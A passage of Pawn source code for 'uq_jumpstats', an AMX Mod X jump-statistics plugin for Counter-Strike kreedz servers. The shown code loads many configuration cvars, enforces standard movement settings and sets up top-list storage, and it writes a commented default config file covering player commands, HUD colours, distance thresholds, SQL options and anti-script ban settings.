	formatex(cvarfiles, 99, "%s/%s", uqpath, KZ_CVARSDIR);
	
	if( file_exists(cvarfiles) )
	{
		server_cmd("exec %s", cvarfiles);
		server_exec();
	}
	
	uq_min_pre=get_pcvar_num(min_pre);
	uq_maxedge=get_pcvar_num(max_edge);
	uq_minedge=get_pcvar_num(min_edge);
	kz_sql=get_pcvar_num(sql_stats);
	web_sql=get_pcvar_num(web_stats);
	rankby = get_pcvar_num(kz_top_rank_by);
	uq_team=get_pcvar_num(kz_uq_team);
	uq_istrafe=get_pcvar_num(kz_uq_istrafe);
	NSTRAFES1=get_pcvar_num(max_strafes);
	stats_x=get_pcvar_float(kz_stats_x);
	stats_y=get_pcvar_float(kz_stats_y);
	strafe_x=get_pcvar_float(kz_strafe_x);
	strafe_y=get_pcvar_float(kz_strafe_y);
	duck_x=get_pcvar_float(kz_duck_x);
	duck_y=get_pcvar_float(kz_duck_y);
	prest_r=get_pcvar_num(kz_prest_r);
	prest_g=get_pcvar_num(kz_prest_g);
	prest_b=get_pcvar_num(kz_prest_b);
	prest_x=get_pcvar_float(kz_prest_x);
	prest_y=get_pcvar_float(kz_prest_y);
	h_prest=get_pcvar_num(hud_pre);
	h_stats=get_pcvar_num(hud_stats);
	h_duck=get_pcvar_num(hud_duck);
	h_streif=get_pcvar_num(hud_streif);
	stats_r=get_pcvar_num(kz_stats_red);
	stats_b=get_pcvar_num(kz_stats_blue);
	stats_g=get_pcvar_num(kz_stats_green);
	f_stats_r=get_pcvar_num(kz_failstats_red);
	f_stats_b=get_pcvar_num(kz_failstats_blue);
	f_stats_g=get_pcvar_num(kz_failstats_green);
	uq_lj=get_pcvar_num(kz_uq_lj);	
	uq_cj=get_pcvar_num(kz_uq_cj);	
	uq_dcj=get_pcvar_num(kz_uq_dcj);	
	uq_mcj=get_pcvar_num(kz_uq_mcj);	
	uq_ladder=get_pcvar_num(kz_uq_ladder);	
	uq_ldbj=get_pcvar_num(kz_uq_ldbj);	
	uq_bj=get_pcvar_num(kz_uq_bj);	
	uq_sbj=get_pcvar_num(kz_uq_sbj);	
	uq_drbj=get_pcvar_num(kz_uq_drbj);	
	uq_drsbj=get_pcvar_num(kz_uq_drsbj);	
	uq_drcj=get_pcvar_num(kz_uq_drcj);	
	uq_wj=get_pcvar_num(kz_uq_wj);
	uq_dscj=get_pcvar_num(kz_uq_dscj);	
	uq_mscj=get_pcvar_num(kz_uq_mscj);
	uq_dropscj=get_pcvar_num(kz_uq_dropscj);
	uq_dropdscj=get_pcvar_num(kz_uq_dropdscj);
	uq_dropmscj=get_pcvar_num(kz_uq_dropmscj);
	uq_duckbhop=get_pcvar_num(kz_uq_duckbhop);
	uq_bhopinduck=get_pcvar_num(kz_uq_bhopinduck);
	uq_realldbhop=get_pcvar_num(kz_uq_realldbhop);
	uq_upbj=get_pcvar_num(kz_uq_upbj);
	uq_upbhopinduck=get_pcvar_num(kz_uq_upbhopinduck);
	uq_upsbj=get_pcvar_num(kz_uq_upsbj);
	uq_multibhop=get_pcvar_num(kz_uq_multibhop);
	uq_dropdcj=get_pcvar_num(kz_uq_dropdcj);
	uq_dropmcj=get_pcvar_num(kz_uq_dropmcj);
	dcj_god_dist=get_pcvar_num(kz_god_dcj);
	dcj_leet_dist=get_pcvar_num(kz_leet_dcj);
	dcj_holy_dist=get_pcvar_num(kz_holy_dcj);
	dcj_pro_dist=get_pcvar_num(kz_pro_dcj);
	dcj_good_dist=get_pcvar_num(kz_good_dcj);
	lj_god_dist=get_pcvar_num(kz_god_lj);
	lj_leet_dist=get_pcvar_num(kz_leet_lj);
	lj_holy_dist=get_pcvar_num(kz_holy_lj);
	lj_pro_dist=get_pcvar_num(kz_pro_lj);
	lj_good_dist=get_pcvar_num(kz_good_lj);
	ladder_god_dist=get_pcvar_num(kz_god_ladder);
	ladder_leet_dist=get_pcvar_num(kz_leet_ladder);
	ladder_holy_dist=get_pcvar_num(kz_holy_ladder);
	ladder_pro_dist=get_pcvar_num(kz_pro_ladder);
	ladder_good_dist=get_pcvar_num(kz_good_ladder);
	wj_god_dist=get_pcvar_num(kz_god_wj);
	wj_leet_dist=get_pcvar_num(kz_leet_wj);
	wj_holy_dist=get_pcvar_num(kz_holy_wj);
	wj_pro_dist=get_pcvar_num(kz_pro_wj);
	wj_good_dist=get_pcvar_num(kz_good_wj);
	bj_god_dist=get_pcvar_num(kz_god_bj);
	bj_leet_dist=get_pcvar_num(kz_leet_bj);
	bj_holy_dist=get_pcvar_num(kz_holy_bj);
	bj_pro_dist=get_pcvar_num(kz_pro_bj);
	bj_good_dist=get_pcvar_num(kz_good_bj);
	cj_god_dist=get_pcvar_num(kz_god_cj);
	cj_leet_dist=get_pcvar_num(kz_leet_cj);
	cj_holy_dist=get_pcvar_num(kz_holy_cj);
	cj_pro_dist=get_pcvar_num(kz_pro_cj);
	cj_good_dist=get_pcvar_num(kz_good_cj);
	dbj_god_dist=get_pcvar_num(kz_god_dbj);
	dbj_leet_dist=get_pcvar_num(kz_leet_dbj);
	dbj_holy_dist=get_pcvar_num(kz_holy_dbj);
	dbj_pro_dist=get_pcvar_num(kz_pro_dbj);
	dbj_good_dist=get_pcvar_num(kz_good_dbj);	
	scj_god_dist=get_pcvar_num(kz_god_scj);
	scj_leet_dist=get_pcvar_num(kz_leet_scj);
	scj_holy_dist=get_pcvar_num(kz_holy_scj);
	scj_pro_dist=get_pcvar_num(kz_pro_scj);
	scj_good_dist=get_pcvar_num(kz_good_scj);		
	dropscj_god_dist=get_pcvar_num(kz_god_dropscj);
	dropscj_leet_dist=get_pcvar_num(kz_leet_dropscj);
	dropscj_holy_dist=get_pcvar_num(kz_holy_dropscj);
	dropscj_pro_dist=get_pcvar_num(kz_pro_dropscj);
	dropscj_good_dist=get_pcvar_num(kz_good_dropscj);
	bhopinduck_god_dist=get_pcvar_num(kz_god_bhopinduck);
	bhopinduck_leet_dist=get_pcvar_num(kz_leet_bhopinduck);
	bhopinduck_holy_dist=get_pcvar_num(kz_holy_bhopinduck);
	bhopinduck_pro_dist=get_pcvar_num(kz_pro_bhopinduck);
	bhopinduck_good_dist=get_pcvar_num(kz_good_bhopinduck);
	upbj_god_dist=get_pcvar_num(kz_god_upbj);
	upbj_leet_dist=get_pcvar_num(kz_leet_upbj);
	upbj_holy_dist=get_pcvar_num(kz_holy_upbj);
	upbj_pro_dist=get_pcvar_num(kz_pro_upbj);
	upbj_good_dist=get_pcvar_num(kz_good_upbj);
	upsbj_god_dist=get_pcvar_num(kz_god_upsbj);
	upsbj_leet_dist=get_pcvar_num(kz_leet_upsbj);
	upsbj_holy_dist=get_pcvar_num(kz_holy_upsbj);
	upsbj_pro_dist=get_pcvar_num(kz_pro_upsbj);
	upsbj_good_dist=get_pcvar_num(kz_good_upsbj);
	real_god_dist=get_pcvar_num(kz_god_real);
	real_leet_dist=get_pcvar_num(kz_leet_real);
	real_holy_dist=get_pcvar_num(kz_holy_real);
	real_pro_dist=get_pcvar_num(kz_pro_real);
	real_good_dist=get_pcvar_num(kz_good_real);
	duckbhop_god_dist=get_pcvar_num(kz_god_duckbhop);
	duckbhop_leet_dist=get_pcvar_num(kz_leet_duckbhop);
	duckbhop_holy_dist=get_pcvar_num(kz_holy_duckbhop);
	duckbhop_pro_dist=get_pcvar_num(kz_pro_duckbhop);
	duckbhop_good_dist=get_pcvar_num(kz_good_duckbhop);
	leg_settings=get_pcvar_num(kz_legal_settings);	
	uq_airaccel=get_pcvar_num( kz_airaccelerate );
	min_distance=get_pcvar_num(kz_min_dcj);
	min_distance_other=get_pcvar_num(kz_uq_min_other);
	max_distance=get_pcvar_num(MAX_DISTANCE);
	uq_sounds=get_pcvar_num(kz_sounds);
	uq_light=get_pcvar_num( kz_uq_light);
	uq_screen=get_pcvar_num(screenshoot);
	uq_info=get_pcvar_num(allow_info);
	uq_fps=get_pcvar_num(kz_uq_fps);
	speed_r=get_pcvar_num(kz_speed_r);
	speed_g=get_pcvar_num(kz_speed_g);
	speed_b=get_pcvar_num(kz_speed_b);
	speed_x=get_pcvar_float(kz_speed_x);
	speed_y=get_pcvar_float(kz_speed_y);
	h_speed=get_pcvar_num(hud_speed);
	kz_top=get_pcvar_num(kz_uq_top);
	kz_extras=get_pcvar_num(kz_uq_extras);
	kz_weapon=get_pcvar_num(weapon_top);
	kz_block_top=get_pcvar_num(kz_uq_block_top);
	kz_map_top=get_pcvar_num(kz_uq_maptop);
	kz_wpn_block_top=get_pcvar_num(weapon_block_top);
	get_pcvar_string(kz_prefix, prefix, 63);
	uq_bug=get_pcvar_num(kz_uq_bug);
	uq_noslow=get_pcvar_num(kz_uq_noslow);
	uq_admins=get_pcvar_num(kz_uq_admins);
	uq_script_detection=get_pcvar_num(kz_uq_script_detection);
	uq_update_auth=get_pcvar_num(kz_uq_update_auth);
	uq_script_notify=get_pcvar_num(kz_uq_script_notify);
	uq_script_punishment=get_pcvar_num(kz_uq_script_punishment);
	uq_script_work=get_pcvar_num(kz_uq_script_work);
	uq_ban_authid=get_pcvar_num(kz_uq_ban_authid);
	uq_ban_type=get_pcvar_num(kz_uq_ban_type);
	uq_ban_minutes=get_pcvar_num(kz_uq_ban_minutes); 
	uq_block_chat_min=get_pcvar_num(kz_uq_block_chat_min); 
	uq_block_chat_show=get_pcvar_num(kz_uq_block_chat_show); 
	uq_speed_allteam=get_pcvar_num(kz_uq_speed_allteam);
	//uq_edgefriction=get_pcvar_num(edgefriction);
	//uq_mp_footsteps=get_pcvar_num(mp_footsteps);
	//uq_sv_cheats=get_pcvar_num(sv_cheats);
	//uq_sv_gravity=get_pcvar_num(sv_gravity);
	//uq_sv_airaccelerate=get_pcvar_num(sv_airaccelerate);
	//uq_sv_maxspeed=get_pcvar_num(sv_maxspeed);
	//uq_sv_stepsize=get_pcvar_num(sv_stepsize);
	//uq_sv_maxvelocity=get_pcvar_num(sv_maxvelocity);
	
	if(!file_exists(cvarfiles))
	{
		kz_make_cvarexec(cvarfiles);
	}
	
	new plugin_id=find_plugin_byfile("uq_jumpstats_tops.amxx");
	new filename[33],plugin_name[33],plugin_author[33],status[33];
	
	if(plugin_id==-1)
	{
		log_amx("Can't find uq_jumpstats_tops.amxx");
		server_print("[uq_jumpstats] Can't find uq_jumpstats_tops.amxx");
	}
	else
	{
		get_plugin(plugin_id,filename,32,plugin_name,32,plugin_ver,32,plugin_author,32,status,32); 
		
		if(!equali(plugin_ver,VERSION))
		{
			set_task(5.0,"Wrong_ver");
		}
	}

	if( leg_settings )
	{
		set_cvar_string("edgefriction", "2");
		set_cvar_string("mp_footsteps", "1");
		set_cvar_string("sv_cheats", "0");
		set_cvar_string("sv_gravity", "800");
		
		if(uq_airaccel==0 || uq_airaccel==10)
			set_cvar_string("sv_airaccelerate", "10");
		else if(uq_airaccel==1 || uq_airaccel==100)
			set_cvar_string("sv_airaccelerate", "100");
		else 
		{
			new str[10];
			num_to_str(uq_airaccel,str,9);
			set_cvar_string("sv_airaccelerate", str);
		}
		
		set_cvar_string("sv_maxspeed", "320");
		set_cvar_string("sv_stepsize", "18");
		set_cvar_string("sv_maxvelocity", "2000");
	}

	new dataDir[64];
	get_datadir(dataDir, 63);
	format(ljsDir, 63, "%s/Topljs", dataDir);
		
	if( !dir_exists(ljsDir) )
		mkdir(ljsDir);
			
	if(kz_sql==1)
	{
		set_task(0.2, "stats_sql");
		set_task(1.0, "save_info_sql");
		JumpPlayers = TrieCreate();
	}
	else if(kz_sql==0)
	{
		JData = TrieCreate();
		JData_Block = TrieCreate();
		
		format(ljsDir_block, 63, "%s/Topljs/block_tops", dataDir);
			
		if( !dir_exists(ljsDir_block) )
			mkdir(ljsDir_block);
			
		for(new i=0;i<NTECHNUM;i++)
		{
			read_tops(Type_List[i],i);
			read_tops_block(Type_List[i],i);
		}
			
		for(new j=0;j<8;j++)
		{
			new mxspd[11];
			num_to_str(weapon_maxspeed(j),mxspd,10);
			
			format(ljsDir_weapon[j], 63, "%s/Top_weapon_speed_%s", ljsDir,mxspd);
			format(ljsDir_block_weapon[j], 63, "%s/Top_weapon_speed_%s", ljsDir_block,mxspd);
			
			if( !dir_exists(ljsDir_weapon[j]) )
				mkdir(ljsDir_weapon[j]);
			if( !dir_exists(ljsDir_block_weapon[j]) )
				mkdir(ljsDir_block_weapon[j]);
				
			for(new i=0;i<NWPNTECHNUM;i++)
			{
				read_tops_weapon(Type_List_weapon[i],i,j);
				read_tops_block_weapon(Type_List_weapon[i],i,j);
			}
			read_tops_block_weapon("hj",9,j);	
		}
	}	
}
public Wrong_ver()
{
	for(new i=1;i<get_maxplayers();i++)
	{
		if(is_user_alive(i) && is_user_connected(i))
			ColorChat(i, BLUE, "^x04Version^x03 uq_jumpstats.amxx^x01(%s)^x04 different from^x03 uq_jumpstats_tops.amxx^x01(%s)",VERSION,plugin_ver);
	}
	set_task(5.0,"Wrong_ver");
}

public plugin_precache()
{
	gBeam = precache_model( "sprites/zbeam6.spr" );
	precache_sound( "misc/impressive.wav" );
	precache_sound( "misc/perfect.wav" );
	precache_sound( "misc/mod_godlike.wav" );
	precache_sound( "misc/holyshit.wav" );
	precache_sound( "misc/mod_wickedsick.wav" );
	
	
	precache_model( "models/hairt.mdl" );
	heystats = precache_model( "sprites/zbeam6.spr" );
}

stock kz_make_cvarexec(const config[])
{
	new f = fopen(config, "wt");
	new stringscvars[256],s_host[101],s_pass[101],s_user[101],s_db[101];
	new s_x[10],s_y[10];
	
	fprintf(f, "// Config of JumpStats by BorJomi^n");
	fprintf(f, "// Version %s^n",VERSION);
	fprintf(f, "^n");
	
	fprintf(f, "// Players commands^n");
	fprintf(f, "^n");
	fprintf(f, "// say /strafes - on/off statistics Strafes^n"); 
	fprintf(f, "// say /showpre - on/off display prestrafe^n"); 
	fprintf(f, "// say /ducks - on/off statistics ducks for multi cj^n"); 
	fprintf(f, "// say /ljstats - on/off the main statistics^n"); 
	fprintf(f, "// say /uqversion - show version^n"); 
	fprintf(f, "// say /beam - on/off showing the trajectory of the jump^n"); 
	fprintf(f, "// say /speed - on/off display of speed player^n"); 
	fprintf(f, "// say /colorchat - on/off display of color in the chat messages from other players^n"); 
	fprintf(f, "// say /ljsmenu - open the configuration menu^n"); 
	fprintf(f, "// say /ljtop - open TOP10 menu^n");
	fprintf(f, "// say /bhopwarn - on/off show message when you bhop prestrafe is fail^n");
	fprintf(f, "// say /multibhop - on/off show multi bhop pre^n");
	fprintf(f, "// say /duckspre - on/off display prestrafe after each duck^n");
	fprintf(f, "// say /ljpre - on/off display prestrafe for LJ^n");
	fprintf(f, "// say /failedge - on/off display jumpoff wehn failed without bolock^n");
	fprintf(f, "// say /edge - on/off display jumpoff,block,landing^n");
	fprintf(f, "// say /heigh - on/off display heigh^n");
	fprintf(f, "// say /mylj - on/off myljtop menu^n");
	fprintf(f, "// say /wpnlj - on/off weapon top menu^n");
	fprintf(f, "// say /jof - on/off showing Jumpoff when press jump button^n");
	fprintf(f, "// say /joftr - on/off Jumpoff trainer^n");
	fprintf(f, "// say /blocktop - on/off block tops menu^n");
	fprintf(f, "// say /jheigh - on/off showing jump heigh^n");
	fprintf(f, "// say /istrafe - on/off InGame strafe stats^n");
	fprintf(f, "// say /speedt - Big/Small Speed Type^n");
	fprintf(f, "^n");
	
	fprintf(f, "// Admin command^n");
	fprintf(f, "^n");
	fprintf(f, "// amx_reset_uqtops – reset all tops^n");
	fprintf(f, "^n");
	
	fprintf(f, "// Cvars^n");
	fprintf(f, "^n");
	fprintf(f, "// What should work when players connect to the server:^n");
	fprintf(f, "// 	0 = none^n"); 
	fprintf(f, "// 	a = colorchat^n"); 
	fprintf(f, "// 	b = stats^n"); 
	fprintf(f, "// 	c = speed^n"); 
	fprintf(f, "// 	d = showpre^n"); 
	fprintf(f, "// 	e = strafe stats^n"); 
	fprintf(f, "// 	f = beam^n"); 
	fprintf(f, "// 	g = duck stats for mcj^n"); 
	fprintf(f, "// 	h = shows message when your bhop prestrafe is failed^n");
	fprintf(f, "// 	i = show multibhop pre^n");
	fprintf(f, "// 	j = show prestrafe after duck^n");
	fprintf(f, "// 	k = show lj prestrafe^n");
	fprintf(f, "// 	l = show edge^n");
	fprintf(f, "// 	m = show edge when fail (without block)^n");
	fprintf(f, "// 	n = enable sounds^n");
	fprintf(f, "// 	o = enable InGame strafe stats^n");
	
	get_pcvar_string(kz_uq_connect, stringscvars, 255);
	
	fprintf(f, "kz_uq_connect ^"%s^"^n", stringscvars);
	fprintf(f, "^n");
	
	fprintf(f, "// Min distance^n");
	fprintf(f, "kz_uq_min_dist %i^n", min_distance);
	fprintf(f, "^n");
	
	fprintf(f, "// Min distance (Ups bhop, MultiBhop, Real Ladder Bhop, Ducks Bhop, Ladder Jump)^n");
	fprintf(f, "kz_uq_min_dist_other %i^n", min_distance_other);
	fprintf(f, "^n");
	
	fprintf(f, "// Max distance^n");
	fprintf(f, "kz_uq_max_dist %i^n", max_distance);
	fprintf(f, "^n");
	
	fprintf(f, "// Showing info about block in ColorChat messages^n");
	fprintf(f, "kz_uq_block_chat_show %i^n", uq_block_chat_show);
	fprintf(f, "kz_uq_block_chat_min %i //minimum block to show (block more then 0=good,1=pro,2=holy,3=leet,4=god distance cvars)^n", uq_block_chat_min);
	fprintf(f, "^n");
	
	fprintf(f, "// Enable stats for admins only^n");
	fprintf(f, "kz_uq_only_admins %i^n", uq_admins);
	fprintf(f, "^n");
	
	fprintf(f, "// Enable stats for team (0=all,1=T,2=CT)^n");
	fprintf(f, "kz_uq_team %i^n", uq_team);
	fprintf(f, "^n");
	
	fprintf(f, "// Enable cmd /speed for all team^n");
	fprintf(f, "kz_uq_speed_allteam %i^n", uq_speed_allteam);
	fprintf(f, "^n");
	
	fprintf(f, "// Allow highlighting after landing (1 = on, 0 = off; works for holy, leet and god distances)^n");
	fprintf(f, "kz_uq_light %i^n", uq_light);
	fprintf(f, "^n");
	
	fprintf(f, "// Allow sounds (1 = on, 0 = off)^n");
	fprintf(f, "kz_uq_sounds %i^n",uq_sounds);
	fprintf(f, "^n");
	
	fprintf(f, "// Allow doing ScreenShot if Player going in Top (not work with kz_uq_sql <1> and for map top)^n");
	fprintf(f, "kz_uq_screenshoot %i^n",uq_screen);
	fprintf(f, "^n");
	
	fprintf(f, "// Allow showing info about stats when you record demo^n");
	fprintf(f, "kz_uq_demo_info %i^n",uq_info);
	fprintf(f, "^n");

	fprintf(f, "// How work Sql Module (1=SQL module enable, 0=disable)^n");
	fprintf(f, "kz_uq_sql %i^n",kz_sql);
	fprintf(f, "^n");

	fprintf(f, "// Enable/Disable Web Top (1=Enable,0=Disable) - if you want standart tops with sql module, turn of web mod^n");
	fprintf(f, "kz_uq_web %i^n",web_sql);
	fprintf(f, "^n");
	
	get_pcvar_string(uq_host, s_host, 100);
	get_pcvar_string(uq_user, s_user, 100);
	get_pcvar_string(uq_pass, s_pass, 100);
	get_pcvar_string(uq_db, s_db, 100);
	
	fprintf(f, "// Options for Sql Module^n");
	fprintf(f, "kz_uq_host ^"%s^"^n",s_host);
	fprintf(f, "kz_uq_user ^"%s^"^n",s_user);
	fprintf(f, "kz_uq_pass ^"%s^"^n",s_pass);
	fprintf(f, "kz_uq_db ^"%s^"^n",s_db);
	fprintf(f, "// This Option used only in Showing Top(sql), change this if you use another url on you web server^n");
	get_pcvar_string(kz_uq_url, stringscvars, 255);
	fprintf(f, "kz_uq_url ^"%s^"^n",stringscvars);
	fprintf(f, "kz_uq_update_auth %i //Update in DB Steam and Ip^n",uq_update_auth);
	fprintf(f, "^n");
		
	fprintf(f, "// How to save Top10 (2 = steamid, 1 = Ip, 0 = name)^n");
	fprintf(f, "kz_uq_top_by %i^n",rankby);
	fprintf(f, "^n");
	
	fprintf(f, "kz_uq_save_top %i //On/Off TOP10 (1 = on, 0 = off)^n",kz_top);  
	fprintf(f, "kz_uq_maptop %i  //On/Off MapTop (1 = on, 0 = off)^n",kz_map_top);
	fprintf(f, "kz_uq_save_extras_top %i //On/Off Extra Tops (1 = on, 0 = off)^n",kz_extras);
	fprintf(f, "kz_uq_weapons_top %i //On/Off Weapon Tops (1 = on, 0 = off)^n",kz_weapon);	
	fprintf(f, "kz_uq_block_top %i //On/Off Block Tops (1 = on, 0 = off)^n",kz_block_top);	
	fprintf(f, "kz_uq_block_weapons %i //On/Off Block Tops for other weapons (1 = on, 0 = off)^n",kz_wpn_block_top);	
	fprintf(f, "^n");
	
	fprintf(f, "// Allow check to legal settings (1 = on, 0 = off)^n");
	fprintf(f, "kz_uq_legal_settings %i^n",leg_settings);
	fprintf(f, "kz_uq_fps %i //(1=more than 100 FPS jump does not count, 0=count)^n",uq_fps); 
	fprintf(f, "kz_uq_bug_check %i //Allow checking for bug distance^n",uq_bug);
	fprintf(f, "^n");
	
	fprintf(f, "// Anti script(Beta)^n");
	fprintf(f, "kz_uq_script_detection %i^n",uq_script_detection);
	fprintf(f, "kz_uq_script_work %i //antiscript works if player distance more then (0=good,1=pro,2=holy,3=leet,4=god distance)^n",uq_script_work);
	fprintf(f, "kz_uq_script_notify %i //print messages to all people on server with scripter name^n",uq_script_notify);
	fprintf(f, "kz_uq_script_punishment %i //(0=nothing,1=kick,2=ban)^n",uq_script_punishment);
	fprintf(f, "kz_uq_ban_type %i //(0=standart bans, 1=amxbans)^n",uq_ban_type);
	fprintf(f, "kz_uq_ban_minutes %i //ban time in minutes^n",uq_ban_minutes);
	fprintf(f, "kz_uq_ban_authid %i //(ban by 0=name,1=ip,2=steam)^n",uq_ban_authid);
	fprintf(f, "^n");

	get_pcvar_string(kz_prefix, stringscvars, 255);
	
	fprintf(f, "// The prefix for all messages in chat^n"); 
	fprintf(f, "kz_uq_prefix ^"%s^"^n", stringscvars);
	fprintf(f, "^n");
	
	fprintf(f, "// How to set up a server by value sv_airaccelerate (Varible=xx, but var=0 reserved for 10aa, var=1 for 100aa)^n");
	fprintf(f, "kz_uq_airaccelerate %i^n",uq_airaccel);
	fprintf(f, "^n");
	
	fprintf(f, "// On/Off Showing stats with noslowdown^n");
	fprintf(f, "kz_uq_noslowdown %i^n",uq_noslow);
	fprintf(f, "^n");
	
	fprintf(f, "// Max strafes (if players strafes>Max, stats doesnt shows)^n");
	fprintf(f, "kz_uq_max_strafes %i^n",NSTRAFES1);
	fprintf(f, "^n");

	fprintf(f, "// Allow InGame Strafe Stats (laggy feature)^n");
	fprintf(f, "kz_uq_istrafes %i^n",uq_istrafe);
	fprintf(f, "^n");
	
	fprintf(f, "// Color Hud message statistics when you jump, in the RGB^n");
	fprintf(f, "kz_uq_stats_red %i^n",stats_r);	
	fprintf(f, "kz_uq_stats_green %i^n",stats_g);
	fprintf(f, "kz_uq_stats_blue %i^n",stats_b);
	fprintf(f, "^n");
	
	fprintf(f, "// Color Hud messages Fail statistics when you jump, in the RGB^n");
	fprintf(f, "kz_uq_failstats_red %i^n",f_stats_r);		
	fprintf(f, "kz_uq_failstats_green %i^n",f_stats_g);
	fprintf(f, "kz_uq_failstats_blue %i^n",f_stats_b);
	fprintf(f, "^n");
	
	fprintf(f, "// Color Hud messages prestrafe, in the RGB^n");
	fprintf(f, "kz_uq_prestrafe_red %i^n",prest_r);	
	fprintf(f, "kz_uq_prestrafe_green %i^n",prest_g);
	fprintf(f, "kz_uq_prestrafe_blue %i^n",prest_b);
	fprintf(f, "^n");
	
	fprintf(f, "// Color of speed, in the RGB^n");
	fprintf(f, "kz_uq_speed_red %i^n",speed_r);		
	fprintf(f, "kz_uq_speed_green %i^n",speed_g);
	fprintf(f, "kz_uq_speed_blue %i^n",speed_b);
	fprintf(f, "^n");
	
	fprintf(f, "//Coordinates Hud messages^n");
	fprintf(f, "^n");
	fprintf(f, "//General stats jump^n");
	
	get_pcvar_string(kz_stats_x, s_x, 9);
	get_pcvar_string(kz_stats_y, s_y, 9);
	
	fprintf(f, "kz_uq_stats_x ^"%s^"^n", s_x);
	fprintf(f, "kz_uq_stats_y ^"%s^"^n", s_y);
	fprintf(f, "^n");
	fprintf(f, "//Strafes Stats^n");
	
	get_pcvar_string(kz_strafe_x, s_x, 9);
	get_pcvar_string(kz_strafe_y, s_y, 9);
	
	fprintf(f, "kz_uq_strafe_x ^"%s^"^n", s_x);
	fprintf(f, "kz_uq_strafe_y ^"%s^"^n", s_y);
	fprintf(f, "^n");
	fprintf(f, "//Ducks Stats for Multi dd^n");
	
	get_pcvar_string(kz_duck_x, s_x, 9);
	get_pcvar_string(kz_duck_y, s_y, 9);
	
	fprintf(f, "kz_uq_duck_x ^"%s^"^n", s_x);
	fprintf(f, "kz_uq_duck_y ^"%s^"^n", s_y); 
	fprintf(f, "^n");
	fprintf(f, "//Speed^n");
	
	get_pcvar_string(kz_speed_x, s_x, 9);
	get_pcvar_string(kz_speed_y, s_y, 9);
	
	fprintf(f, "kz_uq_speed_x ^"%s^"^n", s_x);
	fprintf(f, "kz_uq_speed_y ^"%s^"^n", s_y); 
	fprintf(f, "^n");
	fprintf(f, "//Prestrafe^n");
	
	get_pcvar_string(kz_prest_x, s_x, 9);
	get_pcvar_string(kz_prest_y, s_y, 9);
	
	fprintf(f, "kz_uq_prestrafe_x ^"%s^"^n", s_x);
	fprintf(f, "kz_uq_prestrafe_y ^"%s^"^n", s_y); 
	fprintf(f, "^n");
	
	fprintf(f, "// Channel Hud messages of general stats jump^n");
	fprintf(f, "kz_uq_hud_stats %i^n",h_stats);
	fprintf(f, "^n");
	fprintf(f, "// Channel Hud messages of strafes Stats^n");
	fprintf(f, "kz_uq_hud_strafe %i^n",h_streif);
	fprintf(f, "^n");
	fprintf(f, "// Channel Hud messages of ducks Stats for Multi CountJump^n");
	fprintf(f, "kz_uq_hud_duck %i^n",h_duck);
	fprintf(f, "^n");
	fprintf(f, "// Channel Hud messages of speed^n");
	fprintf(f, "kz_uq_hud_speed %i^n",h_speed);
	fprintf(f, "^n");
	fprintf(f, "// Channel Hud messages of prestafe^n");
	fprintf(f, "kz_uq_hud_pre %i^n",h_prest);
	fprintf(f, "^n");
	
	fprintf(f, "// For what technique stats enable^n");
	fprintf(f, "kz_uq_lj %i^n",uq_lj);	
	fprintf(f, "kz_uq_cj %i^n",uq_cj);	
	fprintf(f, "kz_uq_bj %i^n",uq_bj);	
	fprintf(f, "kz_uq_sbj %i^n",uq_sbj);	
	fprintf(f, "kz_uq_wj %i^n",uq_wj);	
	fprintf(f, "kz_uq_dcj %i^n",uq_dcj);	
	fprintf(f, "kz_uq_mcj %i^n",uq_mcj);	
	fprintf(f, "kz_uq_drbj %i^n",uq_drbj);		
	fprintf(f, "kz_uq_drcj %i^n",uq_drcj);	
	fprintf(f, "kz_uq_ladder %i^n",uq_ladder);	
	fprintf(f, "kz_uq_ldbj %i^n",uq_ldbj);	
	fprintf(f, "^n");
	
	fprintf(f, "// Max,Min block to show in edge^n");
	fprintf(f, "kz_uq_max_block %i^n",uq_maxedge);	
	fprintf(f, "kz_uq_min_block %i^n",uq_minedge);	
	fprintf(f, "^n");
	
	fprintf(f, "// Minimum Prestrafe to show^n");
	fprintf(f, "kz_uq_min_pre %i^n",uq_min_pre);		
	fprintf(f, "^n");
	
	fprintf(f, "// For what Extra technique stats enable^n");
	fprintf(f, "kz_uq_scj %i^n",uq_drsbj);
	fprintf(f, "kz_uq_dscj %i^n",uq_dscj);	
	fprintf(f, "kz_uq_mscj %i^n",uq_mscj);	
	fprintf(f, "kz_uq_dropscj %i^n",uq_dropscj);	
	fprintf(f, "kz_uq_dropdscj %i^n",uq_dropdscj);	
	fprintf(f, "kz_uq_dropmscj %i^n",uq_dropmscj);	
	fprintf(f, "kz_uq_duckbhop %i^n",uq_duckbhop);	
	fprintf(f, "kz_uq_bhopinduck %i^n",uq_bhopinduck);	
	fprintf(f, "kz_uq_realldbhop %i^n",uq_realldbhop);	
	fprintf(f, "kz_uq_upbj %i^n",uq_upbj);	
	fprintf(f, "kz_uq_upsbj %i^n",uq_upsbj);	
	fprintf(f, "kz_uq_upbhopinduck %i^n",uq_upbhopinduck);	
	fprintf(f, "kz_uq_multibhop %i^n",uq_multibhop);
	fprintf(f, "kz_uq_dropdcj %i^n",uq_dropdcj);	
	fprintf(f, "kz_uq_dropmcj %i^n",uq_dropmcj);	
	fprintf(f, "^n");
	
	fprintf(f, "// Color for chat messages of jump distances (good = grey, pro = green, holy = blue, leet = red, god = red (with sound godlike for all players))^n");
	fprintf(f, "// LongJump/HighJump^n");
	fprintf(f, "kz_uq_good_lj %i^n",lj_good_dist);	
	fprintf(f, "kz_uq_pro_lj %i^n",lj_pro_dist);
	fprintf(f, "kz_uq_holy_lj %i^n",lj_holy_dist);
	fprintf(f, "kz_uq_leet_lj %i^n",lj_leet_dist);
	fprintf(f, "kz_uq_god_lj %i^n",lj_god_dist);
	fprintf(f, "^n");

	fprintf(f, "// CountJump^n");
	fprintf(f, "kz_uq_good_cj %i^n",cj_good_dist);	
	fprintf(f, "kz_uq_pro_cj %i^n",cj_pro_dist);
	fprintf(f, "kz_uq_holy_cj %i^n",cj_holy_dist);
	fprintf(f, "kz_uq_leet_cj %i^n",cj_leet_dist);
	fprintf(f, "kz_uq_god_cj %i^n",cj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Double CountJump/Multi CountJump^n");
	fprintf(f, "kz_uq_good_dcj %i^n",dcj_good_dist);	
	fprintf(f, "kz_uq_pro_dcj %i^n",dcj_pro_dist);
	fprintf(f, "kz_uq_holy_dcj %i^n",dcj_holy_dist);
	fprintf(f, "kz_uq_leet_dcj %i^n",dcj_leet_dist);
	fprintf(f, "kz_uq_god_dcj %i^n",dcj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// LadderJump^n");
	fprintf(f, "kz_uq_good_ladder %i^n",ladder_good_dist);	
